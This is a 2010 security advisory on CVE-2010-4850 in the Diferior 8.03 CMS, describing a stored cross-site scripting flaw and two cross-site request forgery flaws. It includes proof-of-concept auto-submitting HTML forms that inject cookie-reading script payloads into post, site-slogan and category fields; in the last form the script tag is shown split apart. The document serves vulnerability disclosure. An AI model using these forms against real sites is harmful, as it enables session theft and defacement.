Total Tests:
Stay in Touch

Get exclusive updates and invitations to our events and webinars:


Your data will stay confidential Private and Confidential

Multiple Vulnerabilities in Diferior

Advisory ID:HTB22720
Product:Diferior
Vendor:Povilas Musteikis
Vulnerable Versions:8.03 and probably prior
Tested Version:8.03
Advisory Publication:November 25, 2010 [without technical details]
Vendor Notification:November 25, 2010
Public Disclosure:December 9, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
Cross-Site Request Forgery [CWE-352]
CVE Reference:CVE-2010-4850
Risk Level:Medium
CVSSv2 Base Scores:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Diferior which could be exploited to perform script insertion and cross-site request forgery attacks.

1) Script insertion vulnerability in Diferior: CVE-2010-4850
Input passed to the "post_content" parameter in views/post.php is not properly sanitized. A remote attacker can insert arbitrary HTML and script code, which will be executed in user`s browser in context of the vulnerable website when user views the malicious data. Successful exploitation requires that victim is able to edit posts.
Exploitation example:
<form action="http://host/post/edit/2/p1.html" method="post" enctype="multipart/form-data" name="main">
<input type="hidden" name="category" value="sample-category-1">
<input type="hidden" name="header" value="Sample post">
<input type="hidden" name="subheader" value="Sample subheader">
<input type="hidden" name="post_content" value='html<script>alert(document.cookie)</script>'>
<input type="hidden" name="schedule" value="now">
<input type="hidden" name="scheduler" value="10/11/23">
<input type="hidden" name="Date_Year" value="2010">
<input type="hidden" name="Date_Month" value="11">
<input type="hidden" name="Date_Day" value="22">
<input type="hidden" name="Time_Hour" value="20">
<input type="hidden" name="Time_Minute" value="47">
<input type="hidden" name="Time_Second" value="23">
<input type="hidden" name="usehtml" value="html">
</form>
<script>
document.main.submit();
</script>


2) Cross-site request forgery (CSRF) vulnerabilities in Diferior: CVE-2010-4850
2.1 The vulnerability exists due to insufficient validation of the request origin in views/admin.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change website settings (e.g. website slogan, title, timezone etc.). Due to insufficient sanitation of input data in the “slogan” parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website. Successful exploitation requires that victim is logged-in as an administrator.
Exploitation example:
<form action="http://host/admin/site/2.html" method="post" name="main">
<input type="hidden" name="title" value="Site Title">
<input type="hidden" name="slogan" value='Powered by Diferior"><script>alert(document.cookie)</script>'>
<input type="hidden" name="timezone" value="GMT">
<input type="hidden" name="cron" value="php">
</form>
<script>
document.main.submit();
</script>

2.2 The vulnerability exists due to insufficient validation of the request origin in views/admin.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and create categories. Due to insufficient sanitation of input data in the "subcatname" and "description" parameters it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website. Successful exploitation requires that victim is logged-in as an administrator.
Exploitation example:
<form action="http://host/admin/forum/create_sub.html" method="post" name="main">
<input type="hidden" name="cat" value="1">
<input type="hidden" name="subcatname" value='subname"><script>alert(document.cookie)</script>'>
<input type="hidden" name="description" value='description"><script>alert(document.cookie)</script>'>
</form>
<scr ipt>
document.main.subm it();
</script>

How to Detect Cross-Site Scripting Vulnerabilities
Website Security Test
  • GDPR & PCI DSS Test
  • Website CMS Security Test
  • CSP & HTTP Headers Check
  • WordPress & Drupal Scanning
Try For Free

Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


References:
[1] High-Tech Bridge Advisory HTB22720 - https://www.immuniweb.com/advisory/HTB22720 - Multiple Vulnerabilities in Diferior
[2] Diferior - diferior.com - Diferior is a new content management system (CMS) which may be what every independent content producer has been looking for.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Book a Call Ask a Question
Close
Talk to ImmuniWeb Experts
ImmuniWeb AI Platform
Have a Technical Question?

Our security experts will answer within
one business day. No obligations.

Have a Sales Question?
Email:
Tel: +41 22 560 6800 (Switzerland)
Tel: +1 720 605 9147 (USA)
*
*
*
*
Your data will stay private and confidential